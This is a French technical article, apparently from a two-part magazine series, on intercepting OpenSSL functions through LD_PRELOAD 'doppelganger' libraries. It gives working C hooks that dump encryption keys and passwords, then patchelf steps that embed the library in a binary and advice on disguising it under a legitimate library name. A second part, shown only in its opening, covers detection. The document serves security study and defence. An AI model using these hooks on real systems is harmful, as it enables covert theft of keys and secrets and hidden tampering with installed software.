Disclaimer

Don't use it to hack someone or something you don't own, use it only for study.

This method was used to hack a specific hardware and extract his private keys for consulting project under an NDA in 2011.

A confidential publication was released in November 2011 to those working in ████████ industry. This article covers a very small part of that method, but it is not the 2011 publication which is available only to those under an NDA.

This article is not a 101 lesson on hacking for this specific hardware. You cannot hack this hardware only with this information. Only the 2011 publication explains the complete method and only with an obsolete hardware that has not been upgraded since...

This article was published in two parts in the french nationally distributed magazines "Programmez!" in July (part 1) and September 2025 (part 2).
An English version will be available soon

Let's start !

This article was originally published in two separate articles. I merge here into a single one. The first part is based on research conducted in 2011, all sensitive information has been removed, changed or anonymized. The second part discusses several pratical and feasible security solutions.

First part

Préambule à l'article

Lors d'une mission, un client souhaitait vérifier la sécurité d'un logiciel.

Le logiciel utilisait fortement les méthodes cryptographiques afin de délivrer un service particulier à ses clients. Le logiciel était déployé sur une multitude de serveurs hébergés par les clients eux-mêmes, ils avaient donc accès à ce logiciel sans contrainte particulière. Ne voulant pas trop rentrer dans les détails, les données manipulées étaient critiques et une possibilité de déchiffrer les données en dehors du workflow prévu ou de pouvoir récupérer des données sensibles (comme des clefs de chiffrements ou des certificats privés) était considérée comme une faille majeure et une perte de certification de l'autorité de certifications.

Le but du client était de savoir si ce logiciel était assez sécurisé pour ne pas compromettre la sécurité globale de toute l'architecture logicielle. Pour cela, le défi était de voir s'il était possible d'extraire toutes informations sensibles ou cryptographiques venant du logiciel (données non chiffrées, clefs de chiffrement, certificats privés, etc...)

Après une (très) brève recherche, nous avons pu mettre en évidence des techniques de contournements permettant d'extraire des données sensibles, des clefs et des certificats privés sans toucher à l'applicatif ni même en étant intrusif et sans laisser de trace.

La méthode présentée ici est un résumé (et anonymisée) d'une des techniques utilisées lors de cette mission.

Généralité sur les fonctions

Pour faire simple, les applications sont découpées dans de multiples tâches internes appelées fonctions. Ces fonctions sont pour la plupart à l'intérieur même du projet. Ainsi, si vous faites :

(...)
void display(void) {
    printf("Hello World !\n");
}
(...)
int main(void) {
    display();
}

Votre fonction display fait partie même de votre projet, vous l'avez codé et vous connaissez sa structure interne.

A contrario, la fonction printf ne fait partie de votre projet, elle fait partie d'une bibliothèque externe et sera intégrée (directement ou indirectement) à votre programme lors de la phase de compilation. printf fait partie - pour notre cas - de la glibc.

Lors d'une compilation, vous avez le choix entre une liaison dynamique ou une liaison statique avec ces fonctions "externes".

  • La liaison dynamique va laisser la "définition" des fonctions externes dans leurs bibliothèques associées. Par exemple, pour printf, cette dernière sera dans la glibc donc libc.so. On utilise cette méthode pour plusieurs raisons dont la réuséabilité, l'empreinte mémoire, la taille du binaire et les mises-à-jour facilités des différentes bibliothèques (par exemple, si une faille est découverte dans printf, nous n'aurons pas besoin de recompiler l'ensemble des programmes utilisant printf, il suffira simplement d'upgrader la bibliothèque)

  • A contrario, dans la liaison statique, les différentes "définitions" des fonctions "externes" vont se retrouver intégrées au sein même de votre binaire (vous aurez donc par conséquent un binaire plus gros).

La quasi-totalité des logiciels utilisent la liaison dynamique.

Mais si nous détournions ces fonctions "externes" sans toucher à notre binaire d'origine ?

Il existe plusieurs méthodes pour effectuer un hook de ce style, voyons la plus simple pour l'instant :)

Mise en pratique

Afin d’étudier cette méthode simplement, nous allons d’abord l’observer sur un programme d’exemple “cible” codé par nos soins, se voulant très simpliste, et dont voici le code source :

#include <openssl/conf.h>
#include <openssl/evp.h>

int main(void) {
        const unsigned char key[128] = "ThisIsMyMagicalAndHiddenKey!";
        const unsigned char iv[128]  = {
                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
        };

        EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
        EVP_EncryptInit(ctx, EVP_aes_256_cbc(), key, iv);

        // (...)

        return 0;
}

Pour conceptualiser plus rapidement les tenants et les aboutissants de cette méthode, nous avons développé un bout de programme effectuant des activités cryptographiques simples.

Ce programme ne fait rien de bien concret, nous n'avons pas besoin d'aller plus loin pour l'instant dans notre programme, notre but étant de détourner la fonction EVP_EncryptInit qui est une fonction de base dans OpenSSL pour capturer la clef de chiffrement stockée dans la variable interne key.

Pour décrire rapidement le programme, ce dernier ne fait rien d'autre que d'initialiser le moteur cryptographique d'OpenSSL afin de lancer une procédure de chiffrement via l'algorithme AES-256-CBC.

L'algorithme AES-256-CBC a besoin (principalement) de deux paramètres:

  • Une clef de chiffrement: elle va être utilisée (directement ou indirectement) pour chiffrer nos données. Elle sera stockée dans notre exemple dans la variable key
  • Une vecteur d'initialisation : pour faire (très) simple, l'algorithme AES-CBC est un chiffrement par bloc, chaque bloc est chiffré en prenant en compte le résultat du chiffrement du précédent bloc. Cependant, quid du tout premier bloc ? Sur quel précédent bloc va t'il se baser vu qu'il n'en existe aucun ? C'est là que le vecteur d'initialisation rentre en action, il va nous servir comme "faux résultat d'un précédent bloc" et va nous servir pour le chiffrement du premier bloc. Ce vecteur d'initialisation, souvent surnommé IV, est stocké dans notre variable iv.

Nous allons maintenant compiler notre petit programme d'exemple :

$ gcc -Wall example.c -o example \
	$(pkg-config –libs –cflags libcrypto libssl)

Par défaut, notre compilation va générer un programme utilisant la méthode des liens dynamiques.

Si nous démarrons notre programme, nous avons …

$ ./example
$ _

... rien. C'est parfaitement normal :-)

Notre programme fonctionne correctement, il a simplement initialisé son moteur cryptographie AES-256-CBC avant de s'arrêter sans rien faire (nous ne faisons aucune opération de chiffrement après)

Si nous analysons les liens dynamiques vers les différentes librairies utilisées :

# méthode classique avec ldd
$ ldd ./example
  linux-vdso.so.1 (0x...)
  libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x...)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x...)
  /lib64/ld-linux-x86-64.so.2 (0x...)

# méthode via variable env et ld-so
$ LD_TRACE_LOADED_OBJECTS=1 ./example 
  linux-vdso.so.1 (0x...)
  libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x...)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x...)
  /lib64/ld-linux-x86-64.so.2 (0x...)

Avec les 2 ou 3 librairies classiques (libc par exemple), nous voyons que notre programme utilise une des parties de la librairie cryptographique OpenSSL via le module libcrypto.so

Pour simplifier : lors de son exécution, notre programme va piocher dans la libcrypto et utiliser deux fonctions qu'il ne possède pas en "interne" de son programme :

  • EVP_CIPHER_CTX_new()
  • EVP_EncryptInit()

Ces deux fonctions sont implémentées dans libcrypto, dont leurs codes sources se trouvent ici :

Nous pouvons analyser l'ensemble des appels avec ltrace (la sortie a été nettoyée pour des raisons de visibilité) qui va nous lister les différents appels des fonctions vers les bibliothèques :

$ ltrace -ff ./example
EVP_CIPHER_CTX_new(1, 0x..., 0x..., 0x...)
EVP_aes_256_cbc(0, 0, 0, 0)
EVP_EncryptInit(0x..., 0x..., 0x..., 0x...)
+++ exited (status 0) +++

Nous constatons nos différents appels des fonctions OpenSSL implémentées dans notre programme, et leurs activités respectives.

Imaginons que nous ne connaissions pas le code source de cette application, mais nous voudrions extraire la clef secrète. Il existe plusieurs méthodes (strings, objdump, gdb, radare2, pour avoir quelques exemples), mais ici, nous allons essayer de se substituer à la fonction EVP_EncryptInit.

Pourquoi EVP_EncryptInit ? car c'est elle qui a besoin de la clef secrète pour initialiser le moteur cryptographique, dont voici sa définition :

int EVP_EncryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
             const unsigned char *key, const unsigned char *iv);

Avec cette information, démarrons notre implémentation.

Implémentation de notre hook

Nous utilisons le terme hook, mais voyez cela plutôt comme un Doppelganger.

Un doppelganger est une sorte de double maléfique :)

Nous allons créer le doppelganger de la fonction EVP_EncryptInit.

Pour cela, nous allons créer un fichier que nous allons nommer doppelganger.c pour notre exemple et réimplementer exactement la fonction EVP_EncryptInit avec l'ensemble de ses arguments définis comme dans la documentation (ou son implémentation)

#include <stdio.h>
#include <openssl/evp.h>

int EVP_EncryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type, 
            const unsigned char *key, const unsigned char *iv) {
    return 0;
}

Rien de plus... (pour l'instant)

Maintenant, nous allons vérifier si notre doppelganger est parfaitement accepté lors de la greffe.

Pour cela, nous devons effectuer deux actions :

  • Compiler notre doppelganger sous forme de module (.so)
  • Utiliser la méthode ld preload

Compilation de notre module doppelganger

Nous allons compiler notre programme en utilisant quelques paramètres spécifiques lors de la compilation car nous avons besoin qu’il soit sous forme de module :

$ gcc -fPIC "doppelganger.c" -shared -o "doppelganger.so"

Nous nous retrouvons avec un module .so que nous pouvons pré-analyser avec un petit file:

$ file "doppelganger.so"
doppelganger.so: ELF 64-bit LSB shared object, x86-64, version 1 
(SYSV), dynamically linked, BuildID[sha1]=xxxxxxxx, not stripped

Nous constatons que nous avons bien un "shared object".

Voyons maintenant le chargement dynamique de cette nouvelle librairie au sein de notre application.

Chargement de notre module doppelganger

Un programme "dynamique" sous Linux est géré (entre autres) par le "dynamic link loader", aka ld.so.

Essayez d'exécuter votre ld.so :

$ /lib64/ld-linux-*so* --help
Usage: /lib64/ld-linux-x86-64.so.2 [OPTION]... EXECUTABLE-FILE
[ARGS-FOR-PROGRAM...]
You have invoked 'ld.so', the program interpreter for
dynamically-linked ELF programs.  Usually, the program interpreter is
invoked automatically when a dynamically-linked executable is started.
You may invoke the program interpreter program directly from the
command line to load and run an ELF executable file; this is like
executing that file itself, but always uses the program interpreter
you invoked, instead of the program interpreter specified in the
executable file you run.  Invoking the program interpreter directly
provides access to additional diagnostics, and changing the dynamic
linker behavior without setting environment variables (which would
be inherited by subprocesses).
(...)

Oui, ld.so est un programme. Plus encore, c'est un interprétateur de binaire dynamique. Quand vous exécutez un binaire dynamique sous Linux, vous exécutez de facto ld.so ! (une sorte de wrapper si vous voulez)

Il existe deux manières d'injecter notre petit module:

  • La méthode la moins connue en utilisant ld.so comme programme :
    $ /lib64/ld-linux-x86-64.so.2 \
    	--preload "./doppelganger.so" "./example"
  • La méthode la plus connue est simplement de définir la variable LD_PRELOAD :

LD_PRELOAD permet d'indiquer un module que nous souhaitons intégrer et charger lors du démarrage d'un programme. Elle va être interprétée par ld.so et changer le comportement lors du chargement des bibliothèques :

$ LD_PRELOAD="./doppelganger.so" "./example"
$ _

Aucune sortie comme auparavant. Au moins, notre application n'a pas planté :-)

Notez que ce comportement est normal dans notre exemple, nous verrons par la suite que notre doppelganger minimaliste de EVP_EncryptInit fera stopper ou planter les autres programmes.

Analysons ce qu'il se passe avec ldd :

$ LD_PRELOAD="./doppelganger.so" ldd "./example" 
  linux-vdso.so.1 (0x...)
  ./doppelganger.so (0x...)
  libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x...)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x...)
  /lib64/ld-linux-x86-64.so.2 (0x...)

Nous constatons que, maintenant, notre module "doppeldanger.so" est intégré dans la liste des bibliothèques chargées par le programme.

Si nous effectuons de nouveau un ltrace dessus :

$ LD_PRELOAD="./doppelganger.so" ltrace -ff "./example" 
EVP_CIPHER_CTX_new(1, 0x..., 0x..., 0x...)
EVP_aes_256_cbc(0, 0, 0, 0)
EVP_EncryptInit(0x..., 0x..., 0x..., 0x...)
+++ exited (status 0) +++

En dehors des adresses, nous avons le même genre d'output qu'auparavant

Maintenant que nous constatons que notre greffe fonctionne, ce qui nous intéresse maintenant, sera de "manipuler" l'intérieur de notre EVP_EncryptInit.

Pour cela, reprenons le code de notre doppelganger en ajoutant simplement quelques lignes :

int EVP_EncryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type, 
            const unsigned char *key, const unsigned char *iv) {
    if ( key != NULL ) {
        BIO_dump_fp(stdout, (const char *)key, 128);
    }
    return 0;
}

Nous n'avons ici ajouté que quelques lignes utiles :

  • Un simple vérificateur de valeur (if key != NULL) afin d'éviter d'éventuels plantages sur une valeur nulle
  • Une fonction interne à OpenSSL - un helper appelé BIO_dump_fp - qui va afficher le contenu de notre variable key (notez que nous aurions pu tout autant utiliser un simple printf, mais BIO_dump_fp ajoute un petit affichage sympathique :-) (notez que pour des raisons de visibilité dans l’article, cet affichage a été modifié)

Recompilons notre module et lançons notre programme dans la foulée :

$ gcc -fPIC "doppelganger.c" -shared -o "doppelganger.so"
$ LD_PRELOAD="./doppelganger.so" ./example
0x54 0x68 0x69 0x73 0x49 0x73 0x4d 0x79 0x4d 0x61 0x67 0x69 0x63 0x61
0x6c 0x41 0x6e 0x64 0x48 0x69 0x64 0x64 0x65 0x6e 0x4b 0x65 0x79 0x21
"ThisIsMyMagicalAndHiddenKey!"

Nous venons de détourner la fonction EVP_EncryptInit de notre applicatif et d'extraire notre clef secrète et cela, sans modifier notre programme d’origine !

Utilisation sur un programme externe

Maintenant, que nous avons testé la méthode sur un applicatif que nous maîtrisons, utilisons notre doppelganger directement sur un autre programme, par exemple openssl :

$ openssl AES-256-CBC

Avec ces arguments, OpenSSL va vous demander une clef de chiffrement pour débuter le chiffrement, puis va rester bloqué car il s'attend à obtenir des données en stdin, donc faites directement CTRL+C :

$ LD_PRELOAD="./doppelganger.so" openssl aes-256-cbc 
enter AES-256-CBC encryption password:
Verifying - enter AES-256-CBC encryption password:
CTRL+C
$ _

Et... nous avons rien d'autre !... notre doppelganger ne marche pas ?

Nous allons maintenant étudier pourquoi. Pour cela, nous allons faire simple, avec notre ltrace des familles :

$ LD_PRELOAD="./doppelganger.so" ltrace -ff openssl aes-256-cbc
**(...)**
CRYPTO_malloc(512, 0x..., 630, 0)
CRYPTO_malloc(0x..., 0x..., 630, 0)
BIO_new_fp(0x..., 0, 2, 0)
EVP_CIPHER_get0_name(0x..., 0, 0x..., 0)
BIO_snprintf(0x..., 200, 0x..., 0x...)
EVP_read_pw_string(0x..., 512, 0x..., "enter AES-256-CBC encryption…"
BIO_new_fp(0x..., 0, 2, 0)
RAND_bytes(0x..., 8, 0x..., 1)
BIO_write(0x..., 0x..., 8, 0)
BIO_write(0x..., 0x..., 8, 0)
EVP_BytesToKey(0x..., 0x..., 0x..., 0x...)
OPENSSL_cleanse(0x..., 512, 0, 0)
BIO_f_cipher(0x..., 0, 0, 0)
BIO_new(0x..., 0, 0, 0)
BIO_ctrl(0x..., 129, 0, 0x...)
EVP_CipherInit_ex(0x..., 0x..., 0, 0)
EVP_CipherInit_ex(0x..., 0, 0, 0x...)
BIO_push(0x..., 0x..., 0, 0)
BIO_ctrl(0x..., 10, 0, 0)
BIO_ctrl(0x..., 2, 0, 0)
BIO_read(0x..., 0x..., 8192, 0)
CTRL+C
$ _

Dans ce charabia très fortement réduit toujours pour des raisons de visibilité, vous aurez les mêmes trois contraintes : il faudra taper 2 fois le mot de passe et un CTRL+C sur BIO_read() car il s'attend à lire sur le stdin.

ltrace peut être très verbeux, vous pouvez filtrer avec l'argument -e :
Exemple : ltrace -ff -e "OPENSSL*" -e "BIO*" -e "EVP*" openssl

Si on analyse les fonctions entre notre fonction EVP_read_pw_string (mais qui nous intéresse pas car elle ne fait que lire votre input lors de la saisie du mot de passe) et jusqu'à EVP_CipherInit_ex, nous voyons un petit EVP_BytesToKey entre :

BIO_new_fp(0x..., 0, 2, 0)
RAND_bytes(0x..., 8, 0x..., 1)
BIO_write(0x..., 0x..., 8, 0)
BIO_write(0x..., 0x..., 8, 0)
EVP_BytesToKey(0x..., 0x..., 0x..., 0x...)    🢀━━━━━━
OPENSSL_cleanse(0x..., 512, 0, 0)
BIO_f_cipher(0x..., 0, 0, 0)
BIO_new(0x..., 0, 0, 0)
BIO_ctrl(0x..., 129, 0, 0x...)
EVP_CipherInit_ex(0x..., 0x..., 0, 0)  

Cette fonction est intéressante, elle a une tâche très précise à effectuer, celle de faire dériver notre clef à l'aide de certains paramètres.

Nous n’allons pas décrire le principe de la dérivation de clef, elle est en dehors de notre scope, gardez juste en mémoire qu’une dérivation de clef va prendre en entrée notre clef d’origine et sortir une autre clef plus complexe (normalement…).

Cette dérivation va être utilisée par EVP_CipherInit_ex. Si nous effectuions un doppelganger de EVP_CipherInit_ex, nous n'aurions pas la clef de chiffrement, nous n'aurions que sa dérivation. Dans certains cas, cela peut avoir une utilité mais dans notre cas, cela complexifie l'étude, il faut donc taper plus haut pour obtenir l'endroit précis où la clef est manipulée, et EVP_BytesToKey est un bon candidat.

Voyons sa définition :

int EVP_BytesToKey(const EVP_CIPHER *type,const EVP_MD *md,
                 const unsigned char *salt,
                 const unsigned char *data, int datal, int count,
                 unsigned char *key,unsigned char *iv);

Créons notre doppelganger :

int EVP_BytesToKey(const EVP_CIPHER *type, const EVP_MD *md,
                 const unsigned char *salt,
                 const unsigned char *data, int datal, int count,
                 unsigned char *key, unsigned char *iv) {
    if ( data != NULL ) {
        BIO_dump_fp(stdout, (const char *)data, datal);
    }
    return 0;
}

Pourquoi utiliser data et non key ?

La documentation nous renseigne sur la nature de chaque :

data is a buffer containing datal bytes which is used to derive the keying data. The derived key and IV will be written to key and iv respectively.

key et iv ne serviront que pour les outputs, notre input est stocké dans la variable data.

Recompilons et relançons :

$ gcc -fPIC "doppelganger.c" -shared -o "doppelganger.so"
$ LD_PRELOAD="./doppelganger" openssl aes-256-cbc
enter AES-256-CBC encryption password:
Verifying - enter AES-256-CBC encryption password:
0x4d 0x61 0x43 0x6c 0x65 0x66 0x55 0x6c 0x74 0x72 0x61 0x53 0x65 0x63 
0x72 0x65 0x74 0x65 0x21  "MaClefUltraSecrete!"
(CTRL+C)

Notre clef a été interceptée !

Notez que si vous essayez un chiffrement avec notre doppelganger simpliste, votre cryptographie sera erronée : notre EVP_BytesToKey ne fera pas la dérivation, key et iv seront corrompus. Mais notre but étant d’intercepter simplement la clef pour l'instant :-)

Effectuons la même manipulation avec un autre paramètre OpenSSL en utilisant pbkdf2 :

$ LD_PRELOAD=./doppelganger.so openssl aes-256-cbc -pbkdf2 
enter AES-256-CBC encryption password:
Verifying - enter AES-256-CBC encryption password:
^C

Notre doppelganger ne (encore) marche plus ?

C'est parce que le paramètre pbkdf2 demande à OpenSSL d'utiliser une autre méthode de dérivation de clef, donc nous ne passerons plus dans EVP_BytesToKey mais par une autre fonction de dérivation de clef.

Voyons cela de nouveau avec un ltrace :

EVP_read_pw_string(0x..., 512, 0x..., "enter AES-256-CBC encryption…"
BIO_new_fp(0x..., 0, 2, 0)
RAND_bytes(0x..., 8, 0x..., 1)
BIO_write(0x..., 0x..., 8, 0)
EVP_CIPHER_get_key_length(0x..., 4, 0x..., 0)
EVP_CIPHER_get_iv_length(0x..., 4, 0x..., 0)
PKCS5_PBKDF2_HMAC(0x..., 4, 0x..., 8)           🢀━━━━━━
__memcpy_chk(0x..., 0x..., 32, 64)
__memcpy_chk(0x..., 0x..., 16, 16)
OPENSSL_cleanse(0x..., 512, 16, 16)
BIO_f_cipher(0x..., 0, 16, 16)
BIO_new(0x..., 0, 16, 16)
BIO_ctrl(0x..., 129, 0, 0x...)
EVP_CipherInit_ex(0x..., 0x..., 0, 0)
EVP_CipherInit_ex(0x..., 0, 0, 0x...)
BIO_push(0x..., 0x..., 0, 0)
BIO_ctrl(0x..., 10, 0, 0)
BIO_ctrl(0x..., 2, 0, 0)
BIO_read(0x..., 0x..., 8192, 0)

Effectivement, nous n’utilisons plus EVP_BytesToKey, nous utilisons maintenant la fonction PKCS5_PBKDF2_HMAC pour générer notre dérivation de clef, dont voici la définition :

int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
                const unsigned char *salt, int saltlen, int iter,
                const EVP_MD *digest,
                int keylen, unsigned char *out);

Cette fonction ressemble de beaucoup à notre précédente, donc allons implémenter son doppelganger :

int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
                      const unsigned char *salt, int saltlen, int iter,
                      const EVP_MD *digest,
                      int keylen, unsigned char *out) {
    if ( pass != NULL ) { 
        BIO_dump_fp(stdout, (const char *)pass, passlen);
    }
    return 0;
}

Recompilons et exécutons de nouveau :

$ gcc -fPIC "doppelganger.c" -shared -o "doppelganger.so"
$ LD_PRELOAD="./doppelganger.so" openssl aes-256-cbc -pbkdf2 
enter AES-256-CBC encryption password:
Verifying - enter AES-256-CBC encryption password:
0x4d 0x61 0x47 0x72 0x61 0x6e 0x64 0x65 0x43 0x6c 0x65 0x66 0x53
0x65 0x63 0x72 0x65 0x74 0x65 0x21   "MaGrandeClefSecrete!"
PKCS5_PBKDF2_HMAC failed

Et voilà, nous venons d’intercepter la clef de nouveau !

Notez que la dérivation plante car elle n'est pas conforme, le processus de chiffrement s'arrête, c'est normal, notre doppelganger ne fait rien de plus que d'extraire la clef et de ne rien retourner. Le programme s'arrête de lui-même.

Bien entendu, nous avons ici un exemple très simpliste, nous avons une interaction directe avec OpenSSL et donc nous connaissons la clef de départ (que nous donnons à openssl), mais nous pourrions continuer sur d’autres programmes utilisant d‘autres méthodes cryptographiques ou différentes authentifications. Nous pourrions également détourner d’autres fonctions pour des buts totalement différents. Les perspectives sont (quasi) infinies…

Cacher le subterfuge LD_PRELOAD

Vous remarquerez que notre librairie “doppelganger” doit être définie avant l'exécution du programme par exemple via la variable LD_PRELOAD. C’est une énorme “balafre” - visible par le simple quidam - sur notre détournement: Pour la discrétion, on repassera...

S’il existait une méthode pour… je ne sais pas… cacher ce lien vers notre doppelganger au sein même du programme et ainsi ne plus avoir besoin de ce LD_PRELOAD ? Cela serait tellement génial…

Lors du linkage (avec ld) pendant le processus de compilation, vous avez moyen de linker vos librairies au programme, mais dans notre cas, nous n’avons plus qu’un binaire à analyser (ou attaquer). Donc, est-il possible de rajouter une librairie après coup ? Oui, il est tout à fait possible et je vais vous présenter une méthode parmi d’autres.

Préambule: les librairies sont référencées dans la section “dynamic” et vous avez plusieurs méthodes pour lire ces sections :

$ readelf -x .dynstr  example          # contenu brut
$ readelf -x .dynamic example          # contenu brut
$ readelf -d example | grep NEEDED     # contenu interprété
 0x0000000000000001 (NEEDED)    Shared library: [libcrypto.so.3]
 0x0000000000000001 (NEEDED)    Shared library: [libc.so.6]

Pour ajouter notre librairie, nous allons devoir taper dans ces sections.

L’une des méthodes est de s’aider du programme patchelf, un programme qui permet de modifier et manipuler certaines sections des programmes au format ELF (Linux, BSD, Unix*, Playstation, …) :

$ patchelf --add-needed "./doppelganger.so" "example"

Si nous analysons notre programme de nouveau :

$ ldd "example"
    linux-vdso.so.1 (0x...)
    ./doppelganger.so (0x...)
    libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x...)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x...)
    /lib64/ld-linux-x86-64.so.2 (0x...)

On constate que notre doppelganger s’est greffé à notre programme, comme une tique à une jambe.

Nos .dynamic et .dynstr ont été modifiés (entre autres) :

$ readelf -x .dynstr "example" | tail -n3
0x00005388    435f322e 322e3500 2e2f646f 7070656c    C_2.2.5../doppel
0x00005398    67616e67 65722e73 6f0000               ganger.so..

Et si nous exécutons notre programme sans LD_PRELOAD :

$ ./example
0x54 0x68 0x69 0x73 0x49 0x73 0x4d 0x79 0x4d 0x61 0x67 0x69 0x63 0x61
0x6c 0x41 0x6e 0x64 0x48 0x69 0x64 0x64 0x65 0x6e 0x4b 0x65 0x79 0x21
"ThisIsMyMagicalAndHiddenKey!"

Notre doppelganger devient (quasiment) invisible maintenant.

On constate que nous avons ajouté la référence à la librairie doppelganger.so au sein même du binaire sans avoir besoin maintenant d’un LD_PRELOAD.

Bien entendu, notre référence à doppelganger.so ne peut pas passer inaperçue, mais nous pouvons imaginer des scénarios de “cache-cache” où notre doppelganger.so soit renommé dans un nom plus “conventionnel”: Imaginez que notre doppelganger soit caché sous un nom comme /lib/x86_64-linux-gnu/libcrypto.so.3.1 comme un nom de librairie légitime. A moins d'analyser chaque binaire et de vérifier les dépendances, vous ne pourrez quasiment jamais déterminer si une librairie non-légitime a été greffée à un binaire lambda. (sauf si vous le connaissez très bien et que vous savez que quelque chose cloche, et encore...)

Notez que les systèmes de packaging sous Linux ont des checksums sur les fichiers. Par exemple, sous un système apt, vous pouvez utiliser debsums (ou plus simplement via les fichiers /var/lib/dpkg/info/*.md5sums). Vous avez l'équivalent dans (quasi) tous les autres systèmes de packaging dans les autres distributions Linux.

Notre intermède musical: c’est la pause pipi !

Nous avons vu que nous pouvions détourner les appels des fonctions en interne d'un programme déjà établi et sans trop de contrainte avec peu d'outils pour étudier celui-ci.

Nos exemples se veulent simples. Mais nous pourrions imaginer avoir des doppelgangers à certains endroits - même sans besoin du LD_PRELOAD - au sein de notre système, effectuant certaines actions spécifiques à certains moments.

De plus, nos doppelgangers d’exemples, de par leur simplicité, peuvent se faire détecter rapidement car ils retournent de mauvaises données ou ont des comportements non prévus. Mais nous pourrions effectuer un véritable wrapper de la fonction d'origine depuis notre fonction doppelganger qui va effectuer correctement son travail - avec en complément - un code "malicieux". Vos programmes continueront de marcher normalement mais avec des activités annexes non voulues s'exécutant en arrière-plan.

Ici, dans nos exemples, nous ne faisons qu'un affichage brut d'une donnée, sans rien de plus. Mais imaginons avoir un code ouvrant une socket vers un serveur distant et poussant des données à chaque fois qu'une clef est demandée, générée ou utilisée, ou également un attaquant voulant laisser une porte dérobée sur un système qu’il a auparavant pénétré et voulant garder un accès permanent pour revenir plus tard et sans se faire repérer.

Nous pourrions faire cela avec n'importe quel programme, il ne faut donc jamais oublier ceci lors d'un développement : même compilé, le comportement d'un programme est toujours étudiable, modifiable et donc détournable.

Nous verrons dans la seconde partie comment éviter ce genre de désagrément…!

Second part

Through the looking glass : Passons de l’autre côté du miroir : la détection …(et la protection ?)

Nous avons vu dans la première partie, le concept des doppelgangers, ces fonctions “pirates” qui détournent les véritables fonctions de notre programme. Nous pourrions imaginer en avoir d'autres plus complexes et mieux cachés encore, effectuant certaines actions spécifiques dans notre système à des moments précis.

Jusqu’à maintenant nous avons adopté le point de vue de l’attaquant. Nous allons voir maintenant dans cette seconde partie, celui des défenseurs - des développeurs du programme d’origine et des méthodes pour détecter si notre programme a un comportement étrange et s’il n’est pas en train de se faire détourner…

Passons maintenant à notre véritable seconde partie sur des mécanismes de détection de contournement et - peut-être - de protection ?

Voyons cela étape par étape.

L’emplacement et l’empreinte mémoire

Ce que nous allons faire maintenant, c’est de déterminer si notre fonction a été détournée. Pour cela, nous allons étudier où se trouve notre fonction détournée en mémoire. Ajoutons quelques lignes à notre programme example.c :

printf("main addr               = %p\n", main);
printf("EVP_EncryptInit_ex addr = %p\n", EVP_EncryptInit_ex);
printf("EVP_EncryptInit addr    = %p\n", EVP_EncryptInit);

unsigned char *p = (unsigned char *)EVP_EncryptInit;
for(unsigned int i=0; i<64; i++)
    printf("%02x ", (unsigned char)*(p+i));
printf("\n");

Ici, nous allons récupérer et afficher les adresses mémoires des 3 fonctions : main, EVP_EncryptInit_ex (nous verrons pourquoi plus tard) et notre EVP_EncryptInit, dans la deuxième partie, nous allons lire à partir de l'adresse de EVP_EncryptInit.

main addr                = 0x5c7ef190e1f9
EVP_EncryptInit_ex addr  = 0x7bc59cff9920
EVP_EncryptInit addr     = 0x7bc59cff98d0
f3 0f 1e fa 41 b8 01 00 00 00 e9 81 ff ff ff 90 f3 0f 1e fa 45 31 
c0 e9 74 ff ff ff 0f 1f 40 00 f3 0f 1e fa 55 48 89 e5 48 83 ec 08 
6a 00 e8 cd f2 ff ff c9 31 d2 31 c9 31 f6 31 ff 45 31 c0 45

Nous constatons que notre main est à l’adresse 0x5c… et nos deux fonctions sont aux adresses 0x7bc… Les valeurs hexadécimales juste en dessous sont simplement… les réelles instructions de notre fonction !

Pour constater cela, il nous suffit d’aller désassembler notre EVP_EncryptInit qui se trouve bien évidemment dans libcrypto.so :

$ objdump -dr -M intel “/lib/x86_64-linux-gnu/libcrypto.so.3” \
| grep -A5 "<EVP_EncryptInit@'

00000000001f98d0 <EVP_EncryptInit@@OPENSSL_3.0.0>:
1f98d0:  f3 0f 1e fa         endbr64
1f98d4:  41 b8 01 00 00 00   mov r8d,0x1
1f98da:  e9 81 ff ff ff      jmp 1f9860 <EVP_CipherInit@@OPENSSL_3.0.0>
1f98df:  90                  nop

Déjà, nous constatons deux choses: les terminaisons des adresses (98d0) sont équivalentes dans le programme (0x7bc59cff98d0 => 00000000001f98d0) que dans la fonction libcrypto.

Et la deuxième chose, ce sont les instructions (de 0xf3 jusqu’à 0x90). On constate donc que quand notre programme se lance, si nous suivons le pointeur de la fonction, nous “passons” bien dans la fonction EVP_EncryptInit de la libcrypto.so.

A propos de l'adresse 0x7bc59cff98d0 de notre fonction EVP_EncryptInit, elle correspond à son emplacement dans la zone mappée pour librairie libcrypto. Informations que vous pouvez voir par exemple, via le /proc/maps de l’application :

cat /proc/<pid de example>/maps
(..)
7bc59ce00000-7bc59ceb3000 r--p 00000000 fc:01 30414995    /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7bc59ceb3000-7bc59d1e6000 r-xp 000b3000 fc:01 30414995    /usr/lib/x86_64-linux-gnu/libcrypto.so.3    🢀━━ "x"
7bc59d1e6000-7bc59d2b1000 r--p 003e6000 fc:01 30414995    /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7bc59d2b1000-7bc59d30d000 r--p 004b0000 fc:01 30414995    /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7bc59d30d000-7bc59d310000 rw-p 0050c000 fc:01 30414995    /usr/lib/x86_64-linux-gnu/libcrypto.so.3
(..)

